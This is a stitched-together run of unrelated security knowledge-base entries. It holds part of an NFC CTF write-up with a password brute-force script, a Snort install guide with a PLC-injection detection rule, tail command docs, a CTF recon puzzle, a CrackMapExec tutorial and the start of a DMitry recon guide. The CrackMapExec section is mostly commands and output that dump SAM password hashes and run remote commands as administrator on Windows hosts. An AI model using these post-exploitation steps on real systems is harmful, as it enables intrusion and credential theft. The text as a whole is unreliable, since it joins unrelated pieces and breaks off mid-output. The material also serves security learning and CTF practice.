PWD_AUTH_Response.from_buffer_copy(raw_response) return (response.is_checksum_valid()) def brute_force_password(r): for i in range(0x10000): p = PWD_AUTH_Request.from_buffer_copy(bytes.fromhex("1B0000BEAF4930")) p.pwd |= i if p.is_checksum_valid(): log.info("Potential password suffix: {}".format(hex(i))) if login(r, p): log.info("Login successful") return raise Exception("Can't find password") # ... if __name__ == "__main__": r = remote("nfc.shieldchallenges.com", 80) brute_force_password(r) ``` The output is: ```console root@kali:/media/sf_CTFs/shabak/NFC# python3 solve.py [+] Opening connection to nfc.shieldchallenges.com on port 80: Done [*] Potential password suffix: 0x6824 [*] Login successful ``` This means that we found the password. Let's try reading the memory again: ```python if __name__ == "__main__": r = remote("nfc.shieldchallenges.com", 80) brute_force_password(r) for page_address in range(0x4, 0x28): data = read(r, page_address) print(f"{page_address:02d}: {enhex(data)} -> {data}") ``` Output: ```console root@kali:/media/sf_CTFs/shabak/NFC# python3 solve.py [+] Opening connection to nfc.shieldchallenges.com on port 80: Done [*] Potential password suffix: 0x6824 [*] Login successful 04: 0103a00c340300fe0000000000000000 -> b'\x01\x03\xa0\x0c4\x03\x00\xfe\x00\x00\x00\x00\x00\x00\x00\x00' 05: 340300fe000000000000000000000000 -> b'4\x03\x00\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 06: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 07: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 08: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 09: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 10: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 11: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 12: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 13: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 14: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 15: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 16: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 17: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 18: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 19: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 20: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 21: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 22: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 23: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 24: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 25: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 26: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 27: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 28: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 29: 00000000000000000000000000546865 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00The' 30: 00000000000000000054686520736563 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00The sec' 31: 00000000005468652073656372657420 -> b'\x00\x00\x00\x00\x00The secret ' 32: 00546865207365637265742069733a20 -> b'\x00The secret is: ' 33: 207365637265742069733a20666c6167 -> b' secret is: flag' 34: 7265742069733a20666c61677b47305f -> b'ret is: flag{G0_' 35: 69733a20666c61677b47305f4d316e31 -> b'is: flag{G0_M1n1' 36: 666c61677b47305f4d316e316f6e247d -> b'flag{G0_M1n1on$}' 37: 7b47305f4d316e316f6e247d000000bd -> b'{G0_M1n1on$}\x00\x00\x00\xbd' 38: 4d316e316f6e247d000000bd04000024 -> b'M1n1on$}\x00\x00\x00\xbd\x04\x00\x00$' 39: 6f6e247d000000bd04000024c0050000 -> b'on$}\x00\x00\x00\xbd\x04\x00\x00$\xc0\x05\x00\x00' ``` We got the flag: `flag{G0_M1n1on$}` ### Alternative Solution In short, we'll show the steps we followed to solve the challenge initially: 1. Brute force the missing part of the password against the server by trying all options between `0x0` and `0xFFFF` until we don't receive a NAK 2. Use the full command to find the correct CRC implementation 3. Dump all memory using `READ` commands The `GET_CFG` command wasn't needed.
sec-knowleage
### Snort <p align="center"> <img src="../../../assets/img/logo/Snort.webp" width="25%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **官网** - https://www.snort.org/ **简介** Snort 是开源的基于误用检测的网络入侵检测系统,采用规则匹配机制检测网络分组是否违反了事先配置的安全策略。安装在一台主机上就可以监测整个共享网段,一旦发现入侵和探测行为,具有将报警信息发送到系统日志、报警文件或控制台屏幕等多种实时报警方式。Snort 不仅能够检测各种网络攻击,还具有网络分组采集、分析和日志记录功能。相对于昂贵与庞大的商用产品而言,Snort 具有系统规模小、容易安装、容易配置、规则灵活和插件(plug-in)扩展等诸多优点。 **组成** Snort 主要由分组协议分析器、入侵检测引擎、日志记录和报警模块组成。协议分析器的任务就是对协议栈上的分组进行协议解析,以便提交给入侵检测引擎进行规则匹配。入侵检测引擎根据规则文件匹配分组特征,当分组特征满足检测规则时,触发指定的响应操作。日志记录将解析后的分组以文本或 Tcpdump 二进制格式记录到日志文件,文本格式便于分组分析,二进制格式提高记录速度。报警信息可以发送到系统日志;也可以采用文本或 Tcpdump 二进制格式发送到报警文件;也容许选择关闭报警操作。记录到报警文件的报警信息有完全和快速两种方式,完全报警记录分组首部所有字段信息和报警信息,而快速报警只记录分组首部部分字段信息。 **相关文章** - [工控安全:入侵检测snort-安装配置及pcap规则编写思路](https://www.key1.top/index.php/archives/526/) **安装** - **rpm 包安装** 这里以 2.9.16-1 为例,最新版访问官网了解 https://www.snort.org ```bash yum install -y https://www.snort.org/downloads/snort/snort-2.9.16-1.centos7.x86_64.rpm ``` > 注;如果下载失败,有可能是官方更新了,每次snort更新原来的包地址就访问不了,去官网看下更新下载地址即可。 安装 snort 的时候可能会报错 : `缺少 libnghttp2.so.14()(64bit)` ```bash yum install -y epel-release -y yum install -y nghttp2 ``` 测试: `snort` ,如果没有报错则安装成功. 如果报错 `snort: error while loading shared libraries: libdnet.1: cannot open shared object file: No such file or directory` ```bash wget http://prdownloads.sourceforge.net/libdnet/libdnet-1.11.tar.gz tar -xzvf libdnet-1.11.tar.gz cd libdnet-1.11 ./configure make && make install ``` - **Centos 下源代码编译安装** 安装依赖 ```bash yum install -y gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump openssl openssl-devel ``` 下载 snort ```bash wget https://www.snort.org/downloads/snort/daq-2.0.6.tar.gz wget https://www.snort.org/downloads/snort/snort-2.9.15.tar.gz ``` ```bash tar xvzf daq-2.0.6.tar.gz cd daq-2.0.6 ./configure && make && make install cd ../ ``` ```bash wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz tar xvzf LuaJIT-2.0.5.tar.gz cd LuaJIT-2.0.5 make install ``` ```bash tar xvzf snort-2.9.15.tar.gz cd snort-2.9.15 ./configure --enable-sourcefire && make && make install ``` 测试: `snort` ,如果没有报错则安装成功. - **Ubuntu 下源代码编译安装** ``` apt update apt install -y build-essential libpcap-dev libpcre3-dev libdumbnet-dev bison flex zlib1g-dev liblzma-dev openssl libssl-dev libnghttp2-dev autoconf libtool mkdir ~/snort_src cd ~/snort_src wget https://snort.org/downloads/snort/daq-2.0.7.tar.gz tar -xvzf daq-2.0.7.tar.gz cd daq-2.0.7 ./configure autoreconf -vfi make make install cd ~/snort_src wget https://snort.org/downloads/snort/snort-2.9.16.tar.gz tar -xvzf snort-2.9.16.tar.gz cd snort-2.9.16 ./configure --disable-open-appid make make install ldconfig ln -s /usr/local/bin/snort /usr/sbin/snort ``` 测试: `snort` ,如果没有报错则安装成功. > 注 : 如果安装中还是遇到报错的问题可以参考 https://blog.csdn.net/rdgfdd/article/details/83420811 **配置** 在使用 snort 之前,需要根据保护网络环境和安全策略对 snort 进行配置,主要包括网络变量、预处理器、输出插件及规则集的配置,位于 etc 的 snort 配置文件 snort.conf 可用任意文本编辑器打开。除内部网络环境变量 HOME_NET 之外,在大多数情况下,可以使用 snort.conf 的默认配置。 由于我们不想使用 root 权限来运行 snort,所以需要创建相关用户。同时也需要建立工作目录。 ```bash # Create the snort user and group: groupadd snort useradd snort -r -s /sbin/nologin -c SNORT_IDS -g snort # Create the Snort directories: mkdir /etc/snort mkdir /etc/snort/rules mkdir /etc/snort/rules/iplists mkdir /etc/snort/preproc_rules mkdir /usr/local/lib/snort_dynamicrules mkdir /etc/snort/so_rules # Create some files that stores rules and ip lists touch /etc/snort/rules/iplists/black_list.rules touch /etc/snort/rules/iplists/white_list.rules touch /etc/snort/rules/local.rules touch /etc/snort/sid-msg.map # Create our logging directories: mkdir /var/log/snort mkdir /var/log/snort/archived_logs # Adjust permissions: chmod -R 5775 /etc/snort chmod -R 5775 /var/log/snort chmod -R 5775 /var/log/snort/archived_logs chmod -R 5775 /etc/snort/so_rules chmod -R 5775 /usr/local/lib/snort_dynamicrules # Change Ownership on folders: chown -R snort:snort /etc/snort chown -R snort:snort /var/log/snort chown -R snort:snort /usr/local/lib/snort_dynamicrules ``` 移动配置文件 ```bash cd ~/snort_src/snort-2.9.16/etc/ cp *.conf* /etc/snort cp *.map /etc/snort cp *.dtd /etc/snort cd ~/snort_src/snort-2.9.16/src/dynamic-preprocessors/build/usr/local/lib/snort_dynamicpreprocessor/ cp * /usr/local/lib/snort_dynamicpreprocessor/ sed -i "s/include \$RULE\_PATH/#include \$RULE\_PATH/" /etc/snort/snort.conf ``` 修改配置文件,将 HOME_NET 更改为自己电脑所在的 CIDR 地址 ```bash vim /etc/snort/snort.conf ipvar HOME_NET 10.0.0.0/24 ...104 var RULE_PATH /etc/snort/rules var SO_RULE_PATH /etc/snort/so_rules var PREPROC_RULE_PATH /etc/snort/preproc_rules var WHITE_LIST_PATH /etc/snort/rules/iplists var BLACK_LIST_PATH /etc/snort/rules/iplists ...564 include $RULE_PATH/local.rules ``` **测试使用** ```bash vim /etc/snort/rules/local.rules alert icmp any any -> $HOME_NET any (msg:"ICMP test detected"; GID:1; sid:10000001; rev:001; classtype:icmp-event;) ``` ```bash /usr/local/bin/snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0 ``` 启动,此时用其他机器 Ping Snort 主机可以看到日志信息 也可以直接读取 pcap 包 ```bash /usr/local/bin/snort -c /etc/snort/snort.con -r foo.pcap ``` 注意:snort 只能识别 pcap 后缀的包文件,用 wireshark 的 pcapng 后缀会报错 需要再另存为一下 修改文件格式 不是直接改后缀 **规则下载** Snort 官方提供的三类规则 - Community rules : 无需注册 or 购买,可直接下载使用 - Registered rules : 需要注册才可以下载 - Subscriber rules : 需要注册花钱购买 访问官网 https://www.snort.org/ 下载规则 下载完,解压至相应目录 ``` cd /etc/snort/rules/ wget https://www.snort.org/downloads/community/community-rules.tar.gz -O community-rules.tar.gz tar -xvf community-rules.tar.gz mv /etc/snort/rules/community-rules/community.rules /etc/snort/rules/ vim /etc/snort/snort.conf include $RULE_PATH/community.rules ``` **其他 Snort 规则** > PLC inject ``` alert tcp any any -> $any 502 (msg:”plcinject”; content:”|d0 9d 00 00 00 06 01 03 00 80 00 01|”; sid:001111111; GID:001; priority:0;) ```
sec-knowleage
tail === 在屏幕上显示指定文件的末尾若干行 ## 补充说明 **tail命令** 用于输入文件中的尾部内容。 - 默认在屏幕上显示指定文件的末尾10行。 - 处理多个文件时会在各个文件之前附加含有文件名的行。 - 如果没有指定文件或者文件名为`-`,则读取标准输入。 - 如果表示字节或行数的`NUM`值之前有一个`+`号,则从文件开头的第`NUM`项开始显示,而不是显示文件的最后`NUM`项。 - `NUM`值后面可以有后缀: - `b` : 512 - `kB` : 1000 - `k ` : 1024 - `MB` : 1000 * 1000 - `M ` : 1024 * 1024 - `GB` : 1000 * 1000 * 1000 - `G ` : 1024 * 1024 * 1024 - `T`、`P`、`E`、`Z`、`Y`等以此类推。 ### 语法 ```shell tail (选项) (参数) ``` ### 选项 ```shell -c, --bytes=NUM 输出文件尾部的NUM(NUM为整数)个字节内容。 -f, --follow[={name|descript}] 显示文件最新追加的内容。“name”表示以文件名的方式监视文件的变化。 -F 与 “--follow=name --retry” 功能相同。 -n, --line=NUM 输出文件的尾部NUM(NUM位数字)行内容。 --pid=<进程号> 与“-f”选项连用,当指定的进程号的进程终止后,自动退出tail命令。 -q, --quiet, --silent 当有多个文件参数时,不输出各个文件名。 --retry 即是在tail命令启动时,文件不可访问或者文件稍后变得不可访问,都始终尝试打开文件。使用此选项时需要与选项“--follow=name”连用。 -s, --sleep-interal=<秒数> 与“-f”选项连用,指定监视文件变化时间隔的秒数。 -v, --verbose 当有多个文件参数时,总是输出各个文件名。 --help 显示指令的帮助信息。 --version 显示指令的版本信息。 ``` ### 参数 文件列表:指定要显示尾部内容的文件列表。 ### 实例 ```shell tail file #(显示文件file的最后10行) tail -n +20 file #(显示文件file的内容,从第20行至文件末尾) tail -c 10 file #(显示文件file的最后10个字节) tail -25 mail.log # 显示 mail.log 最后的 25 行 tail -f mail.log # 等同于--follow=descriptor,根据文件描述符进行追踪,当文件改名或被删除,追踪停止 tail -F mail.log # 等同于--follow=name --retry,根据文件名进行追踪,并保持重试,即该文件被删除或改名后,如果再次创建相同的文件名,会继续追踪 ```
sec-knowleage
##Dictator (Recon, 300p) Your simple good Deeds can save you but your GREED can kill you. This has happened before. This greedy person lived a miserable life just for the greed of gold and lust. You must know him, once you know him, you must reach his capital and next clues will be given by his famous EX-Body Guard. This file consists of few paragraphs. Each paragraph singles out one Alphabet. Scrambling those Aplphabets will help you to know the country of this Ruler. Who was this Ruler? ###PL [ENG](#eng-version) Dostajemy informacje że flagą jest dyktator, oraz że coś na jego temat może powiedzieć ex-ochroniarz. Dodatkowo dostajemy 5 tekstów (mają literówki i są pomieszane) i każdy z nich ma wskazać słowo. Z połączenia tych słów można uzyskać nazwę kraju szukanego dyktatora. Wszystkie teksty [tutaj](TheLastRuler.txt) Pierwszy tekst pochodzi z http://wadiya.wikia.com/wiki/Wadiya Drugi z https://en.wikipedia.org/wiki/Lion Trzeci z https://en.wikipedia.org/wiki/Innings Pozostałych nie mogliśmy znaleźć, ale nie były konieczne. Mamy więc 3 słowa: `Wadiya, Lion, Innings`. Następnym krokiem było poszukanie informacji na temat dyktatorów oraz ex-ochroniarzy i dopasowanie kraju danego dyktatora do posiadanych słów. Trafiliśmy wreszcie na `Muammar Gaddafi` oraz `Libyia`. Kraj pasował do posiadanych słów, a dyktator okazał się flagą. ###ENG version We get information that the flag is the name of a dictator and that something can be learned from his ex-bodyguard. Additionally we get 5 texts (with misspells and some changes) and each one of the is pointing to a word. By combining those words we are supposed to get name of the country of the dictator. All texts [here](TheLastRuler.txt) First one comes from http://wadiya.wikia.com/wiki/Wadiya Second from https://en.wikipedia.org/wiki/Lion Third from https://en.wikipedia.org/wiki/Innings We could not find the last two, but they were not necessary. So we have 3 words: `Wadiya, Lion, Innings`. Next step was to look for informations regarding dictators and ex-bodyguards and matching the country with words we have. We finally stumbled upon `Muammar Gaddafi` and `Libyia`. The country was matching our words and the dictator turned out to be the flag.
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,痛风**等。 CrackMapExec弥补了MSF4下auxiliary,scanner模块下的Command执行方式,但MSF5已解决该问题。在MSF4下,该框架针对后渗透的横向移动经常出现,虽然MSF5已解决该问题,但该框架在配合bloodhound与empire依然目前有一定优势。 安装方式:from Wiki: ### Kali: ```bash apt‐get install crackmapexec ``` 但作者推荐pipenv安装: ```bash apt‐get install ‐y libssl‐dev libffi‐dev python‐dev build‐essential pip install ‐‐user pipenv git clone ‐‐recursive https://github.com/byt3bl33d3r/CrackMapExec cd CrackMapExec && pipenv install pipenv shell python setup.py install ``` ### Mac OSX: ```bash pip install ‐‐user crackmapexec ``` 默认为100线程 ```bash cme smb 192.168.1.0/24 SMB 192.168.1.4 445 JOHN‐PC [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True) ``` ![](media/ebb1d4734cf101b0af75130b24dc2797.jpg) 密码策略 ```bash root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐pass ‐pol SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\administrator:123456 (Pwn3d!) SMB 192.168.1.119 445 WIN03X64 [+] Dumping password info for domain: WIN03X64 SMB 192.168.1.119 445 WIN03X64 Minimum password length: None SMB 192.168.1.119 445 WIN03X64 Password history length: None SMB 192.168.1.119 445 WIN03X64 Maximum password age: 42 days 22 hours 47 minutes SMB 192.168.1.119 445 WIN03X64 SMB 192.168.1.119 445 WIN03X64 Password Complexity Flags: 000000 SMB 192.168.1.119 445 WIN03X64 Domain Refuse Password Change: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password Store Cleartext: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password Lockout Admins: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password No Clear Change: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password No Anon Change: 0 SMB 192.168.1.119 445 WIN03X64 Domain Password Complex: 0 SMB 192.168.1.119 445 WIN03X64 SMB 192.168.1.119 445 WIN03X64 Minimum password age: None SMB 192.168.1.119 445 WIN03X64 Reset Account Lockout Counter: 30 minutes SMB 192.168.1.119 445 WIN03X64 Locked Account Duration: 30 minutes SMB 192.168.1.119 445 WIN03X64 Account Lockout Threshold: None SMB 192.168.1.119 445 WIN03X64 Forced Log off Time: Not Set ``` ![](media/6caecd2d3353752952b4fa71fb5cff9c.jpg) list hash ```bash root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐sam SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\administrator:123456 (Pwn3d!) SMB 192.168.1.119 445 WIN03X64 [+] Dumping SAM hashes SMB 192.168.1.119 445 WIN03X64 Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: SMB 192.168.1.119 445 WIN03X64 Guest:501:aad3b435b51404eeaad3b435b51404ee:67f33d2095bda39fbf6b63fbadf2313a::: SMB 192.168.1.119 445 WIN03X64 SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:f4d13c67c7608094c9b0e39147f07520::: SMB 192.168.1.119 445 WIN03X64 IUSR_WIN03X64:1003:dbec20afefb6cc332311fb9822ba61ce:68c22a11c400d91fa4f66ff36b3c15dc::: SMB 192.168.1.119 445 WIN03X64 IWAM_WIN03X64:1004:ff783381e4e022de176c59bf598409c7:7e456daac229ddceccf5f367aa69a487::: SMB 192.168.1.119 445 WIN03X64 ASPNET:1008:cc26551b70faffc095feb73db16b65ff:fec6e9e4a08319a1f62cd30447247f88::: SMB 192.168.1.119 445 WIN03X64 [+] Added 6 SAM hashes to the database ``` ![](media/d372f49b841caef362dbced12e0a0149.jpg) 枚举组 ```bash root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐local‐groups SMB 192.168.1.119 445 WIN03X64 [\*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\administrator:123456 (Pwn3d!) SMB 192.168.1.119 445 WIN03X64 [+] Enumerated local groups SMB 192.168.1.119 445 WIN03X64 HelpServicesGroup membercount: 1 SMB 192.168.1.119 445 WIN03X64 IIS_WPG membercount: 4 SMB 192.168.1.119 445 WIN03X64 TelnetClients membercount: 0 SMB 192.168.1.119 445 WIN03X64 Administrators membercount: 1 SMB 192.168.1.119 445 WIN03X64 Backup Operators membercount: 0 SMB 192.168.1.119 445 WIN03X64 Distributed COM Users membercount: 0 SMB 192.168.1.119 445 WIN03X64 Guests membercount: 2 SMB 192.168.1.119 445 WIN03X64 Network Configuration Operators membercount: 0 SMB 192.168.1.119 445 WIN03X64 Performance Log Users membercount: 1 SMB 192.168.1.119 445 WIN03X64 Performance Monitor Users membercount: 0 SMB 192.168.1.119 445 WIN03X64 Power Users membercount: 0 SMB 192.168.1.119 445 WIN03X64 Print Operators membercount: 0 SMB 192.168.1.119 445 WIN03X64 Remote Desktop Users membercount: 0 SMB 192.168.1.119 445 WIN03X64 Replicator membercount: 0 SMB 192.168.1.119 445 WIN03X64 Users membercount: 3 ``` ![](media/4136be4626226c3dc06862d42b2ede35.jpg) 分别支持4种执行Command,如无--exec-method执行,默认为wmiexec执行。 * mmcexec * smbexec * wmiexec * atexec 基于smbexec执行Command ```bash root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐method smbexec ‐x 'net user' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via smbexec SMB 192.168.1.6 445 WIN‐5BMI9HGC42S \\ ���û��ʻ� SMB 192.168.1.6 445 WIN‐5BMI9HGC42S SMB 192.168.1.6 445 WIN‐5BMI9HGC42S ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ SMB 192.168.1.6 445 WIN‐5BMI9HGC42S Administrator Guest SMB 192.168.1.6 445 WIN‐5BMI9HGC42S ����������ϣ�������һ���������� ``` ![](media/751f7fd147dc4a1810d00aa1b5cde041.jpg) 基于dcom执行Command ```bash root\@John:\~\# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐method mmcexec ‐x 'whoami' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via mmcexec SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\administrator ``` ![](media/64443a4bd4d862023bcf82a0d8978c41.jpg) 基于wmi执行Command ```bash root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐method wmiexec ‐x 'whoami' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via wmiexec SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\administrator ``` ![](media/f97bf667d2f2bd316cefcb12550a4845.jpg) 基于AT执行Command 目标机:无运行calc进程 ![](media/9dbb8af94a4ef3de96eb1476162a3a9d.jpg) ```bash root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐method atexec ‐x 'calc' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via atexec ``` ![](media/7fdfdafcff3b66eebbcb49a359450a83.jpg) 默认采取wmiexec执行Command,参数为-x ```bash root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐x 'whoami' SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\administrator ``` ![](media/49adc1d483d3df2a5c12b432c61dc00d.jpg) 枚举目标机disk ```bash root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐disks SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [*] Windows Web Server 2008 R2 760 0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SMBv1:True) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\\administrator:123456 (Pwn3d!) SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Enumerated disks SMB 192.168.1.6 445 WIN‐5BMI9HGC42S C: SMB 192.168.1.6 445 WIN‐5BMI9HGC42S D: SMB 192.168.1.6 445 WIN‐5BMI9HGC42S E: ``` ### 附录: **解决出现:STATUS_PIPE_DISCONNECTED** ![](media/a7a5a32340bdb7651266594f5dd0dbc7.jpg) 改成经典 ![](media/cbc0c19d3ddbc53c165d217f51289e5c.jpg) 解决出现错误:UnicodeDecodeError: 升级impacket ![](media/f2f8fc124237c8317e634b28c6ff4212.jpg) > Micropoor
sec-knowleage
--- title: DMitry categories: Information Gathering tags: [information gathering,recon,dmitry,kali linux,portscanning] date: 2016-10-20 08:19:00 --- 0x00 DMitry介绍 ------------- DMitry(Deepmagic Information Gathering Tools 深度信息收集工具)是一个linux下用C语言写的工具。它能够尽可能的获取指定主机目标的信息。基础功能是获取目标的子域名,Email地址,运行时间相关信息,tcp端口,whois信息等等。 特性: ```plain - 软件开源 - 可以同时进行一系列的whois查询 - 获取运行时的数据,系统和服务器信息 - 对指定的机器搜索获取其子域名 - 在指定的主机上搜素Email - 对指定的主机搜索其开启的TCP端口 - 有模块化系统可以让用户根据需要选择模块 ``` 工具来源:http://mor-pah.net/software/dmitry-deepmagic-information-gathering-tool/ [DMitry主页][1] | [Kali DMitry Repo仓库][2] - 作者:James Greig - 证书:GPLv3 [DMitry视频介绍][3] 0x01 DMitry功能 --------------- DMitry - 深度信息收集工具 ```shell root@kali:~# dmitry Deepmagic Information Gathering Tool "There be some deep magic going on" 用法:dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host -o 将输出保存到%host.txt或由-o文件指定的文件 -i 对主机的IP地址执行whois查找 -w 对主机的域名执行whois查找 -n 在Netcraft.com上检索主机信息 -s 搜索的子域 -e 搜索可能的电子邮件地址 -p 在主机上执行TCP端口扫描 * -f 在显示输出报告过滤端口的主机上执行TCP端口扫描 * -b 读取从扫描端口接收的横幅 * -t 0-9 设置扫描TCP端口时的TTL(默认值2) * 以上3个选项需要传递-p选项 ``` 0x02 DMitry用法示例 ----------------- ```shell root@kali:~# dmitry -winsepo harvard.txt harvard.edu Deepmagic Information Gathering Tool "There be some deep magic going on" Writing output to 'harvard.txt' HostIP:52.87.36.185 HostName:harvard.edu Gathered Inet-whois information for 52.87.36.185 --------------------------------- inetnum: 